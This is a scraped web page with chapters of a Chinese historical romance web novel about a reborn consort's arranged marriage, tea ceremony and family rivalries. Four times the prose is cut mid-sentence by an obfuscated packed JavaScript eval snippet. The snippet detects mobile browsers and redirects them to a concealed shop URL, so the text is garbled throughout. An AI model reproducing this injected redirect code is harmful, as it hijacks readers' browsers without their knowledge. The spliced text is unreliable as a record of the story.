或许是那人的气场太强,让人情不自禁的心生畏惧。 秋香上前来,帮主子卸下钗环,虽然早就意料之中,也难免沮丧之意,何况听到婚房旁边的耳房之内,此刻忽然笑语喧哗。 丫鬟仆妇,本来按照喜事惯例,在耳房备水听候,准备侍奉新婚夫妇沐浴。但是按这门古怪的亲事而论,又人人心知肚明,这水怕是根本用不上。 故此,当宋大人进了新房的时候,耳房内窃窃私语,人人按耐不住兴奋之色,等到过不多时,听得宋大人从婚房里出来,走远,众人终于打开了憋闷已久的话匣子。 秋香听得耳房之内的声音,虽然听不清说些什么,但一个圆房大礼都成不了的新人,第二天必然成为全府上的笑柄,她们主仆以后的日子可想而知,她们陪嫁过来的丫鬟原本是府里的尖儿,落到这一步可真是……堵了路,又堵了心。 秋香手里整理着主子脱下来的嫁衣,眼泪打着转,袖子却被主子拉扯了一下。 秋香回头一看,三小姐自己洗干净了脸,换上了准备好的大红寝衣,显得比平时能干许多,一张小脸白生生的,大眼睛里闪着异样的光亮,开口说话有板有眼:“秋香不用怕,以后跟着我,天天有肉吃。” 秋香一愣,一时也听不出来是孩子的胡话,还是什么,只觉得主子的眼神中,仿佛有一种陌生而异样的神彩,一闪而过。 薛灵儿一句话安抚住了丫鬟的情绪,利利落落的上床,合眼,安睡。 今日成婚的些许纷扰,跟她的前世相比,又算得了什么,她还有许多大事要做。 第二日,敬茶。 婚房所在的院落,叫做悲寥轩,原本是一个不大的庭园,景致清幽,是宋大人最爱流连玩赏之处,是宋大人亲笔题字,如今阴差阳错娶了亲,就安置在这庭园内的房舍,与宋府其他几房隔开,也算是因新娘子心智不全,求个大家清静,眼不见心不烦之意。 成婚第二日清晨,因有敬茶大礼,悲寥轩附近,远远近近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712012|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就有好热闹的奴仆丫鬟,前来观看这痴傻新娘,如何自己走出门去,厚着脸,向这高攀的婆家行礼。 论起年轻的家主宋大人,昨日,迎亲拜堂之礼,亲自前来走了半场,已经算是仁至义尽了。 可谁知,没等痴傻新娘露面是何等样的真容,宋大人倒先衣冠整肃,等在婚房门口了。 围观众人还来不及表达吃惊意外,被宋大人寒星冷电的目光一扫,赶忙缩了脖子,各自退去,等到众人瞩目的傻媳妇出门,悲寥轩内倒是空无一人,恢复了初秋的清幽气象。 薛灵儿一副民间新妇的装束,一出房门,就看到宋大人站在晨光熹微里,高大身形在院内最大的那颗梧桐树下,一双眼睛望向她,一如她前世做贵妃被他弹劾,她在梧桐宫召见他的样子,眼神清明深邃,不含丝毫喜怒。 待薛灵儿走到跟前,宋大人伸出宽大衣袖,薛灵儿把纤白素手轻轻搭在那绛色衣袖上,凛冽松竹气息缠绕了周身。 就这样跟着那一丝不乱的方正步伐,穿花拂柳,就见一个整肃的宽大院落来到眼前,这院落,坐落在整个宋府最中心,阳光普照,背靠宋府花园一个人工湖面,无疑是整个宋府最佳风水之地。在丫鬟推开漆黑发亮的正堂大门之前,薛灵儿忍不住仰面看看高悬在头顶的匾额,“春晖堂”三个烫底暗银大字,正是宋大人的亲笔。 一切都像薛灵儿在前世为贵妃所听到的那样,只不过今日亲眼所见了。 无论是这宋老夫人的院落居所,还是这高调但不失庄严的匾额,都在向世人宣告,宋府是诗礼之家,宋大人事母至孝,而宋大人的寡母谢氏,在宋大人的仕途,和整个宋氏家族的兴旺上,居功至伟。 搭着宋大人的衣袖,款步而入正堂,宽大高敞的堂屋,窗子挑的分外的高,外头吹来的风分外的凉爽,可地面上的光线也有几分阴暗。 跟安国公府的正堂,其实有三分像。 薛灵儿一时想起前生后世、母家的血海深仇,眼眶忍不住发酸,透过略微模糊的泪眼,看到堂屋两侧桌椅成行,满满坐着的,无非叔伯婶母,堂兄弟姐妹。 看来这短短的数年之内,整个宋氏家族,从西北苦寒之地的老家,全数搬迁到寸土寸金的京城,皆是由于宋汝璋一人之力。 这满满一堂屋的人,是如何看重和依仗这年轻的家主,前途无量的官员,可想而知。 这班亲戚族人,对自家家主有何等样的看重和依仗,现下看向这新嫁的傻媳妇的目光,就有何等样的复杂,饱含了好奇、审视、揶揄。诸般韵味,都是不解,不明白这么一个五品小官家的痴傻姑娘,怎么就拿下了这个人人摘不下的凤凰蛋。 薛灵儿如何不明白众人的心思,只是微垂着头装作不知,在前世,也曾在满堂嫔妃的注目下,走向龙凤座上的皇帝皇后,举行隆重的封妃大典,如今这阵势和目光的压迫感,真和那场面,有三分相似。 但这宋府正厅之中,路的尽头,最打眼、气场最强的,还得说是那居中端坐的宋老夫人。 薛灵儿心内暗暗品评,连前世的婆母,慈安皇太后,好似也比这位的面色和蔼些。 5. 敬茶 满堂亲族众目睽睽之下,薛灵儿搭着宋大人的衣袖,走上堂前,在宋大人身畔,端端正正跪下,接下丫鬟递过来的茶盏,垂下新妇发髻的云鬓雾鬟,低眉敛目,恭恭敬敬,从从容容说道:“灵燕给婆母敬茶。” 亲族中的良善之人,俱都悄悄松了一口气,看来这新媳妇,也并不像传闻中那样傻。喜好看热闹的尖酸之人,则大失所望,本来是期望着,看傻媳妇当众出丑,谁知道,非但没有出丑,论这敬茶的礼仪规矩,就是最挑剔的世家大族,怕是也难挑出一丁点错处。 薛灵儿心内暗暗冷笑,自己前世入宫之前,皇宫大内出来的教养姑姑请到了安国公府,教了两个月不止,自己的手板子也不知挨了多少下,还轮得到眼前这些人指手画脚看笑话? 当下垂首敛目,顺顺利利,将手中茶盏递到上人手中,听得耳畔有茶盏落桌的清脆声响,方才不慌不忙,抬起头来,平视眼前这位婆母,恰好与之眼神对了一个正着。 薛灵儿抬目之时,才看清了这位婆母的衣着脸容,暗闪芙蓉紫红色团花长衫,恰合今日的场合身份,容长面孔,双颊少肉,年纪虽只有四十出头,唇边眼角却有深刻细纹,一见面相,就是极为严厉克己之人,也难怪教养得出这样古板方正的儿子。 二人目光相撞之时,只见那一双狭长凤眼内目光刚强,薛灵儿忍不住垂头转开了眼,回避了那锋芒,心中也是略震了震,这位,比那慈和的皇太后可是难对付得多了。 满堂的亲族宾客,都在屏息敛气,留意着这位新婆母的脸色。果然,虽然傻儿媳的敬茶礼仪挑不出错,谢氏绷的铁紧的脸色并没有丝毫松动。 勉强按规矩让新人起了身,满堂人口都跟着松了一口气,一时笑语低低,茶盏叮咚,提起兴趣,看新妇与直近亲族认亲、赠礼。 论起这赠礼,民间无非金帛首饰,豪富人家或有田铺地契,但这新嫁娘,不过是个五品小官家的庶女,眼见陪嫁丫鬟手拿的托盘便是轻飘飘,揭开红绸,一看果然寻常玉簪金钗、金果银果之类,顿时失了兴趣,只把眼光在新妇面孔上打转,看一个痴傻姑娘是如何应付这尴尬场面。 又见宋府的管家林娘子导引着一对新人,走过了叔伯婶母的茶桌,来到宋汝璋的兄弟宋汝琏和弟妇苏玉茹身畔,众人的精神兴头更加被勾了个十足。 长房宋汝璋虽是家主,却一直并未婚娶,二房媳妇苏氏尊婆母谢氏之命,暂且执掌了宋府的中馈,做了掌家少夫人,现如今,眼见着情势有变。 长房新妇虽是个痴傻的,但,掌家之权终究要收归长房才是正理,至于办法嘛,多的是,再抬进门一个受过些礼仪教养的贵妾,由谢氏好好调理教导一番,也就是了。 两姓旁人都明白的事,当事人如何能够不知?对于新嫂子进门,苏玉茹早就如临大敌,于是林娘子两厢介绍,两厢交换了赠礼,苏玉茹接过薛灵儿的赠礼一股金镶玉钗,借着丫鬟的手粗粗一看,几乎笑出声来,这样的东西,也好意思拿到二品之家来?当下取出一枚成色极好的翡翠玉镯,放在大红托盘上分外显出一抹盈盈水色,照花了人眼。 以赠礼压了人一头还不算,还要拿出掌家少夫人的架势,笑着开腔,多招呼上几句:“大嫂初来乍到,有什么不惯的,房内缺什么少什么,只管遣个丫鬟来问我,我虽年轻,到底比你先进门了两年,上人下人面前,也都熟惯一些,便利一些。” 口内说着话,一双涂了蔻丹的纤纤玉手,便搭到了薛灵儿的肩膀,显得十分熟稔亲热。 薛灵儿也知手内赠礼寒酸,苏玉茹存心拿出件好东西来压自己,只是前世为贵妃,世间好物堆山填海的往皇宫里头送,什么没见过?再打量一眼眼前这弟妇苏氏,一张俏丽的尖脸蛋,眉眼之间精明外露,一览无余。 这样的人品,别说梧桐宫,在安国公府做个管家娘子,也是过于小家子气了,那婆母谢氏看起来倒是个人物,用这样的人掌家,想必也是无人可用。薛灵儿被苏玉茹身上的浓香熏得头晕,想起自己的痴傻身份,深觉是一张好的护身符,于是傻笑一声,夸赞道:“你生的真好看,身上也好香。” 苏玉茹一愣,倒是没想到,这新嫂子当真只有孩童的心智。趁她一愣之机,薛灵儿推开了苏玉茹的手,退回到宋汝璋身畔,借他的松竹之香缓过了一口气。 认亲赠礼已过,宋汝璋伸出宽大衣袖,令薛灵儿将手搭在他衣袖,二人重行回到婆母谢氏面前,双双站立。 这便是“聆训”。 寻常的聆训,无非上人说几句不痛不痒的场面话,夫妇和睦,家和万事兴之类,但宋府这门亲事却迥然不同,满堂宾客此时忍不住,都安静下来,料定这宋老夫人谢氏,还有一场大大的脾气要发作。 盖因为,谢氏和宋汝璋母子,因为娶妻一事抵牾多年,最终到了鱼死网破的地步,这才便宜了眼前这个痴傻姑娘。 论起宋大人的寡母谢氏,也非一般人,原本是一破落的侯府之女,下嫁了小康读书人家的宋大人父亲,一个早早显露才情的举子。谁料这举子虽然早慧,却也早夭,撇下孤儿寡母苦度时光。 谢氏要强,不甘人下,在两个儿子中选中了长子汝璋,作为科举之才,严加教养。汝璋也是争气,科考夺魁,殿试又得了皇上的赞赏,二十余岁,一举成名,天下皆知宋状元才貌双全,前途无量。 人人都夸赞谢氏得了好报,含辛茹苦没有白费,且宋汝璋不光才名遍天下,人品又稳重方正,事母至孝,外人看来,可以说是十全十美。 但或许,世间不容十全十美之事,宋状元在殿试成名之时,为了结亲一事,就与母亲谢氏结下了不可解的冤仇。 任凭谢氏磨破嘴皮,哭肿眼泡,这个纯孝的长子,就是不答应娶妻,问就是说,功业未成,不想成家。 这母子间长年逼婚的官司旷日持久,谢氏替宋汝璋的二弟娶了门当户对的亲事,孙子都抱了两个,终于,谢氏不想再忍耐,打算霸王硬上弓,单方面把事做成。 在民间来说,这叫“替儿娶妻”,儿子不答应,媳妇也可进门,只要婆婆认这个儿媳就可。人只要进了门,一切好办,男人终究是男人,再被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712013|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲用孝道压一压,不论哪一天进了屋圆了房,也就算礼成了。 谢氏被逼上梁山,打起了这个主意。 但这种夫婿根本不愿意结的亲事,等于进门就要受气,门当户对的娇养女儿哪里肯嫁?于是这才落到了媒人手里挑选合适的人,才轮到了刚到京城的五品官薛怀家。 薛怀家自然是千万个情愿,谁知事与愿违,连遭突变,庚帖错拿了傻姑娘,紧接着,傻姑娘落水而死。 宋汝璋得知未婚妻落水而死,忽然换了个人,要迎灵牌为妻,不顾寡母的阻拦,飞马赶去薛府。又谁知,宋大人在薛府灵堂表明心迹,傻姑娘竟然在棺材里活了过来。京城一时传言,宋大人守信重义,感动上天。于是,傻姑娘按照婚约,草草进了门。 谢氏千算万算,怎么也没猜到,最后会是这个糟心的结果,她巴心巴肝培养出来的天之骄子,全京城都高攀不上的天鹅肉,最后竟落到了一个傻姑娘手里。 想到此处,本来已经压下来的一口气,突然又冲到了喉咙,再也压不下去。 于是也不看眼前的新妇,只把目光直视着让自己操碎了心的长子,语气沉沉,说道:“璋儿,新妇已经进门,听得你们昨晚并未圆房礼成,不知你是何打算。” 满堂宾客都在猜测,老夫人会如何发作。大半人都猜测,无非找一找新妇的岔子,发髻衣衫不平整,不成礼数,发一发怨气也就罢了,当众对儿子发难,且当众揭出房内之事,却是没有见过的路数。 满堂顿时哗然。 薛灵儿经过今天一番折腾,已经精疲力尽,只觉得比当日的封妃大典还累,只想早点回房躺倒,谁想到婆母的路数这么大马金刀,杀气腾腾,顿时和满堂宾客一样提了神,尖起了耳朵,听宋大人如何应付。 众人也才回过味来,宋大人今日虽亲身参与了敬茶赠礼,实则到如今如同一个透明人一般,置身事外,一言未发,当下目光都集中在他身上,就见他沉吟片刻,不疾不徐开了口。 “母亲大人既然问起,儿子便剖明心迹,直话直说。儿以为,夫妇敦伦之道,需两厢情愿,水到渠成,否则与牲畜牛马之道何异,新妇虽入门,也须我二人相处,加以时日,再行打算。” 众人一听,这宋大人虽方正,却也并非没有圆融变通之处,只不过这篇说辞太糊弄了些,“加以时日”,时日是多少,哪里有个谱?何况跟个痴傻媳妇,又有什么好相处的?那谢氏是何等样人物,哪里是好糊弄之人?众人更加打醒了精神,看这母子官司如何了局。 果然谢氏把脸一沉,话锋直插人心:“这门亲事阴差阳错,新妇不当你意,也是难怪,不若另择知书达理的贵妾侍奉,索性做个喜事成双,你看如何?” 谢氏的反应不负众望,众亲戚兴味更足,世路上打滚儿这么多年,头回见到这么大的热闹,且看那宋大人如何应对。 薛灵儿虽是事不关己,冷眼旁观,却也心内苦笑,这痴傻姑娘薛灵燕也是恁地命苦,从母家到夫家,都没人把她当个人看,这等事情,当着她的面就商议上了? 6. 诰命 此时偌大的厅堂内,所有目光都集中在宋大人身上,压迫感也是极强,薛灵儿只闻等身畔的松竹之气越发凛冽,一时竟不敢侧目瞧上一眼。 静默片刻,就听宋大人开口说道:“母亲大人所说并非无理,只是儿自幼承圣人之训,生平自有心志。于公于私,但求心之所向,不做违心之事。于婚姻一事上,只愿一夫一妇,后宅清肃,绝不娶妾纳色,徒然生出是非。” 谢氏的面色越发黑沉,这个儿子越发的胆大包天,以圣人之名,公然与寡母对抗,众亲戚也是瞠目结舌,从未听过这等奇谈怪论,自古哪个男人不好色?何况是坐上了这等官位的人上之人,这宋大人……怕不是有什么隐疾吧? 堂内一片静寂,气氛正在凝滞之中,忽听得有人拍起手掌来,欢声说道:“大人说得真好!我给大人鼓掌!” 一片惊讶哗然中,众人朝那鼓掌之人望去,正是无人关注的那痴傻新妇。 薛灵儿见众人眼光朝她望过来,心下得意非凡,笑的越发欢悦,唇边露出小小酒窝。 她虽是个顽皮的性子,此举倒也并非存心顽皮捣乱。有一半的心思,是令婆母谢氏更加厌弃了她,促成纳妾之事,方便她脱身去查安国公府的冤屈,另一半的心思,倒是想起前世后宫种种,争风吃醋,互相倾轧,引出多少伤天害理之事,对宋大人这话心有所感。 被儿子当庭对抗,本就心下不愉,傻媳妇又大庭广众之下出乖露丑,更加打脸,谢氏的面色黑如玄铁。 苏玉茹见机,按按发鬓站起身来。本是掌家的少夫人,平日没事也要抓些时机显露本领,此时一看婆母被长房夫妇当庭对抗,无法下台,正需要打圆场之人,不是自己,还能是谁? 于是款款走上去,又以纤纤玉指搭住薛灵儿的肩膀,堆上满脸笑容,对谢氏说道:“母亲请听我说,我瞧这新嫂子虽然年纪轻些,面相倒是个宜男之相,多子多福的大富大贵之人,母亲且仔细瞧瞧,倒也不必这么心急。” 苏玉茹的身上是件穿花百蝶银红细褶裙,行动之间,身段动作又大,也如同穿花蝴蝶一般,吸引了满堂目光,往那新妇的脸上身上打量过去。原本人人觉得,痴傻之人无关紧要,经苏玉茹这么一说,忽然又觉得世事无常,这傻姑娘说不定有些奇处呢? 一观之下才发觉,这痴傻姑娘虽然称不上国色天香,其实面貌身段生的甚好,今日脂粉薄施,着意梳妆打扮之下,一张圆圆面孔,如水蜜桃似的白里透红,晶莹丰润,一双乌溜溜大眼,如同白色溪流中沉着黑色卵石,清粼粼的一眼望到了底。 论身段,虽小巧了些,站在宋大人高大身形旁边,倒也还算合衬,正红刺绣金银牡丹花色衣裙包裹出玲珑身段,细腰微束,骨肉停匀。谁又能说加以时日,不能勾动男人的心思? 薛灵儿早就揽镜自照过,知道薛灵燕虽然痴傻命苦,一副相貌却是上佳,就算与自己前世相比,怕是也比得三分。虽不怕围观,但众人目光对一个傻姑娘却是肆无忌惮,刮擦在她脸上,火辣辣的发痛,忍不住心生恼怒,仗着假托一个痴傻性子,一一的瞪了回去,还时不时的吐舌头做个鬼脸。 这一下,不光婆母谢氏失望垂了眼,连围观亲友一并叹息,心说这副心性举止,别说才貌出众天下闻名的宋大人,就算普通男子也是吃不消,相貌再好,也是枉然了。 众人正在失望,听得宋大人不疾不徐开了口:“弟妇所说,也不无道理,儿正想跟母亲大人禀告一事,恰好今日亲友齐聚一堂,同喜同乐。” 这一句话,谢氏抬起了眼,亲友们也是跟着精神一振,宋大人年纪虽轻,向来宠辱不惊,他口内说是喜事,必然是非同小可。 薛灵儿再次尖起了耳朵,众人宁神屏息,就听宋大人金声玉振,再度开口。 “迎亲那天,圣上着我办个要紧的差事,听闻迎亲时辰已过,心下过意不去,特要封夫人一个诰命,以示对夫人安慰嘉许。” 他说的云淡风轻,亲友们的茶桌上可是炸了锅。 要不说人的命,天注定,这傻姑娘先是从棺材里死而复生,接着嫁了人人求而不得的凤凰蛋,这不,诰命夫人的凤冠居然又生生砸到了她头上,多少做官人家的夫人要苦熬多少年,巴望也还巴望不到手呢。 这傻姑娘,得是什么样的命数啊。 谢氏板得铁紧的脸上,也终于露出一丝笑意,抬眼问儿子:“果然是喜事一桩,何时入宫受封?” 宋汝璋答道:“已经奉皇上旨意,回门之期一过,便带灵燕入宫,领封,谢恩。” 苏玉茹眼珠转动几下,强行按耐了嫉妒之情,把帕子一扬,对谢氏说道:“母亲这回可信了?方才我说什么来着,这位新嫂子果然是大富大贵的面相,今后的喜事,怕是要一桩桩的入门,母亲尽管放宽了心怀,情等着享福才是呢。” 明眼人都不难猜出苏氏的心思,她是生怕长房娶进来个精明之人,同她争夺掌家之权,因此变着花样捧这个傻嫂子,但好话人人爱听,连刚强如谢氏,也禁不住松下了那一股不甘的怒气,心灰意冷对着新婚夫妇摆摆手,吩咐苏玉茹:“既是有皇封诰命,喜事临门,不可怠慢,吩咐厨房多加四珍八味,与众亲友一同庆贺。” 满堂顿时欢悦起来,四珍是鲍鱼鲨翅猴头燕窝,寻常家宴哪能见到?今日竟是沾了这痴傻姑娘的光了。 薛灵儿微微垂头,复又将手搭在宋大人衣袖上,遵婆母之命离开了敬茶的厅堂,身后满堂喧哗渐行渐远,想起入宫一事,心内却是怔忡不定,双腿都要发软。 走了长长一段甬路,来到悲寥轩前,抬眼望向眼前的名义夫君。 宋大人见薛灵燕抬眼相望,似是告别之意,便撤回衣袖,微一点头,依照洞房之内的约定,转身离开。 刚转身迈出半步,忽觉衣袖被人拉住,回头一看是新婚的名义妻子,扬脸望着他,忍不住微觉奇怪,已经约定了各不相扰,难道这姑娘受了丫鬟教唆,生要缠人? 刚想板起面孔训斥她放手,就见她唇边露出小小梨涡,唇角上扬问道:“大人,要带我进宫,封我做诰命夫人,这件事可是真的吗?” 宋汝璋松一口气,世路上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712014|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,原来她也并非一窍不通,想是也欢欣雀跃,如小孩子得了糖果一样,于是信口答道:“是真的。” 一对一答之间瞥见对方神色,不禁吃了一惊,薛灵燕眼中似有泪意泛了上来,唇边笑意十分勉强。 宋汝璋吃惊之余,开口问道:“你怎么了,不欢喜吗?” 薛灵燕眼中泪意越发漫了上来,拉住宋汝璋衣袖:“不是不欢喜,只是……大人,我好害怕。” 二人身高差上许多,薛灵燕仰脸望着宋汝璋,巴掌大一张小脸,被庭院的阳光映得半透明,眼中泪意盈盈,带着求恳之色,宋汝璋心中一痛,脑内浮现了有五成像的一张孩童面孔,是他一奶同胞的小妹,七岁那年落水而亡。 小妹在生时,也是喜欢这样拉着他的衣袖,求他做这做那,宋汝璋素来刚硬的心肠中,忽地有柔情打了一个转,忍不住出口安慰道:“不用怕,我自会护着你。” 薛灵儿是何等精灵之人,看到前世的宿敌柔情忽动,吃惊意外,又忽然生出些莫名的尴尬之情,毕竟前世入宫之后,从不曾和陌生男子如此亲近过,赶紧松开了对方衣袖,往后退了一步。 恰在此时,掌管厨役的管家娘子来这悲寥轩,一是跟新妇问安,二是跟主事大丫鬟问事,本是问主家娘子的饮食习惯如何,恰好宋大人在院内,便多问了一句随身伺候宋大人的流云,中午饭摆在夫人这里可好,便不用往小书房去了。 偏生流云今日跟在宋汝璋身边伺候,适才看到了宋大人与新夫人拉着衣袖,四目相对那个情状,深深感到主子今日不同以往,对妇人女子如此和颜悦色,生平可谓是头一回,于是自作主张,应了,那厨役娘子沾着喜气答应一声,自去安排张罗去了。 流云答应得爽气,回头一看,宋大人眼神冷气森森,忍不住打了一个突,赶紧凑到主子身边,低声为自家辩解:“主子,夫人刚进门,阖府正是观望风向的时候,小的是想,这时候主子若是不为夫人撑腰,还等到什么时候。” 流云说着话,拿眼瞥着夫人,示意夫人为自家求情,薛灵儿明知他的意思,奈何自己假托了痴傻心性,知道也只能装不知道,把眼睛转开,假作东张西望,暗踢了一旁侍奉的秋香一下。 秋香也是伶俐知机,赶紧抢过话头帮腔:“大人,容奴婢说句话,流云小哥说的正是呢,我家三小姐是这般情状,大人若是不为她撑腰,别说主子,就连我们奴婢,也是在这府上难以有立足之地了。” 秋香这一番卖惨,宋大人望一眼新夫人,小姑娘东张西望的,嘴里轻轻哼着小曲儿,更像他七岁的小妹了,于是心肠一软,把流云轻轻放过,抬步便往婚房内走去,连他自己也没想到,第二次进这屋子,竟有这么快。 流云被轻轻放过,喜出望外跟进去伺候,待主仆四人围在厨役娘子张罗好的一桌饭菜前,流云和秋香一个眼神对视,傻了眼。 桌上满满罗列着红枣乌鸡汤,炙烤鹿肉等菜肴,十道菜里有八道,是补气养血的大补之物,倒也是新婚夫妇的寻常菜谱,只是……两位主子是名义夫妻,这如何使得? 7. 回门 薛灵儿眼望着桌上的大补之物,心里一阵阵的羞臊热意直往上冲,毕竟前世嫁过,为皇帝侍寝第二日,梧桐宫的餐桌上,见过差不多的汤盅菜肴。 瞟了一眼懵然无知的宋大人,薛灵儿勉强按住羞意,老了脸皮,假作什么都不知道,毕竟这一世,她是个痴傻姑娘,有些时候痴傻真是个好事,什么都不用操心。 她兴奋地坐在餐桌旁,不等秋香动手,自己就撸了袖子,盛了一碗乌鸡汤,大口喝了两口,又选了一块炙烤鹿肉填在嘴里,对着宋大人嘻嘻一笑:“大人你不尝尝?可好吃了,你们家的饭比我家的香多了。” 宋大人还没等怎么,秋香先闹了个半红脸,先扭了一把薛灵儿的肩膀,又对着男主人解释:“大人,小姐在家不是这样的,今日想必是高兴狠了,待奴婢好好管教。” 眼见薛灵儿被秋香扭的咧了嘴,眼中激出泪花,宋大人罕见的一皱眉,一摆手:“不必,不必说什么管教她,务必让她自在,随心。” 不光秋香愣了,薛灵儿也是一愣,她前世为安国公府大小姐,后又成为宠冠六宫的贵妃,从来不缺宠爱,任性,娇惯,但……宋大人这样的古板人物,一向视规矩为天条,最恨的就是任性妄为之人,这是……所为何来? 流云在一旁可来了精神。他侍奉主子这许多年,主子对待年轻女子,不说当作毒蛇猛兽,也是避之唯恐不及,什么时候这样和颜悦色,加意照拂过?正在心里深深自得,今天擅自作主算是赌对了,忽见主子夹起一块鹿肉往嘴里填,又慌得赶忙摆手阻止:“主子,不可。” 宋大人疑惑不解的目光投射过来,意思是怎么,有毒吗?流云深恨主子是个书呆子,好像连个话本子都没看过,但情势所逼,话从牙齿缝里往外挤:“主子,此物是个大补的大热之物,此时还不觉得如何,到了夜间,怕是会燥热难耐,令人难以入眠。” 流云自己觉得这话已经说的够直白,直白得不能再直白,可是看着宋大人纯真无辜疑惑不解的眼神,内心陷入了绝望,恨不得把实话喊出来:“别吃了,看不涨破了你!” 流云把小手指,悄悄指向据席大嚼的薛灵儿,宋大人的眼神忽然显示出了明白,显示出了了然和顿悟,放下了那筷子鹿肉,奔了一碟子青菜,流云好歹松了口气,悄悄抹了抹鼻尖的汗珠。 薛灵儿畅快地吃着大鱼大肉,看前世的宿敌宋大人嚼着青菜,想起他弹劾自己的时候那副义正词严的嘴脸,心里越发的畅快。 正在拿宿敌当开胃的下饭菜,忽然发现此人面色慢慢发生了变化,从耳边出现一抹微红,这微红从耳廓,一直烧到他瓷白微露着青筋的脖颈,鼻尖微微见汗。 这鹿肉见效这么快吗,薛灵儿心里一个狐疑过后,忽然明白,眼前这人是害羞了。 都这一把年纪了,居然还要害羞,害羞的反应又比别人慢了好几拍,薛灵儿觉得有趣可笑,越发要逗逗他,于是递上自己的手帕:“大人,你好像是天生体热,擦擦汗吧。” 宋汝璋特意看一眼薛灵儿天真烂漫的神情,不疑有他,真的接过手帕擦了鼻尖的汗珠。 这样就很没意思,薛灵儿停止了捉弄人的心思,她不想躲在痴傻的壳子下捉弄一个真傻子,于是问了一个无比实际的问题:“大人,明日回门,你要一起去吗?” 按她的心思,宋大人已经全程参与了婚礼和敬茶,对于一个痴傻媳妇,已经是够认真对待了,回门这等小事,真不必亲自参与了。 谁知宋大人墨黑的浓眉一扬:“这何用问?自然要去。” 流云在一旁又得了意,自己今日这宝算是押对了,谁能说准这人和人的缘分,说不定主子就是命中注定,要和这个痴傻姑娘投缘呢,于是趁热打铁问宋大人:“主子,晚饭咱们还在这里摆?” 宋大人这回没有再忍他,冷飕飕的一个眼刀甩过来,流云及时住了口。虽然是从小长大的交情,但这人行事素来无情,也保不齐犯了错会被开革,于是垂了头,老老实实地伺候主子用完饭,告辞了新夫人,出了悲寥轩的门,方松了一口气。 成亲第三日是回门之期,是新妇们往往都会盼望着的日子,盼望着回到自己熟悉和依恋的母家,回到最亲近的家人身边,把嫁为人妇的新奇惶恐尽情倾吐和释放。可薛灵儿前世是入宫为妃,并无三朝回门这一说,对此并无经验。 事实上,自从入宫,安国公府的大门就再也没有进去过。 足足三更天以后,薛灵儿在洒金鸳鸯花帐里辗转反侧,终于睡去,入了一个梦,梦里头的薛灵儿变成了魂灵,在安国公府的上空飘来飘去,把府里的一山一石,一草一木,全数抚摸了一遍。 因为头天晚上入睡得迟,第二天清早被秋香唤醒的时候,天光大亮,妆饰完毕用过茶点,来到宋府门前,发现诸事已经齐备。宋府的漆黑大门前,五辆马车一字排开,是二品翰林院学士、监察御史宋大人的回门礼。 苏玉茹作为掌家少夫人,出来照管,送行,诸事已经张罗得差不多,看着马车上装的满满当当,眼神里升起了一丝怨忿。 关于礼物的厚薄,之前请过谢氏的示下。苏玉茹话里话外的意思,薛家左不过是个刚进京城的五品小官之家,这门亲事阴差阳错,已经是高攀太多,何必按照平配那样礼数周全?看得过去也就罢了。 原本以为谢氏十分不喜薛灵燕,定然会答应,如此一来,苏玉茹既省下来大笔费用,又在婆母面前邀了功,讨了巧。谁知谢氏目光如电光一转,毫不留情反驳了苏玉茹,害得苏玉茹当着管家仆妇一干人等的面,老大一个没脸。 心中怨恨这个婆母一根筋不开窍,跟那个整天板着脸的大伯哥一样,再看着马车轿帘掀开之处,露出薛灵燕的脸,这个比自己年少好几岁的痴傻姑娘,一张脸晶莹丰润,在朝霞照耀下如同水蜜桃一般,越发一股气往上冲,忍不住就走上前,手扒住轿帘,唇角一抹酸溜溜的笑意。 “大嫂,兄长怎么到这会儿还没见人影?啊我忘了,你们二人并不在一处,他的行踪你也难知。想是和迎亲那天一样,办差赶不回来了,不如我叫车队先行出发,如何?” 这段话夹枪带棒,又讽刺薛灵儿并未圆房之痛,又是暗指宋大人不能回门,要叫薛灵儿如同成亲那天一样,自己回去。 薛灵儿脸上露出一个天真烂漫的笑意:“大人跟我,是不如你和你夫君亲热,你夫君也不用办差,也不用往外跑,可以整天陪着你玩,你们俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712015|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 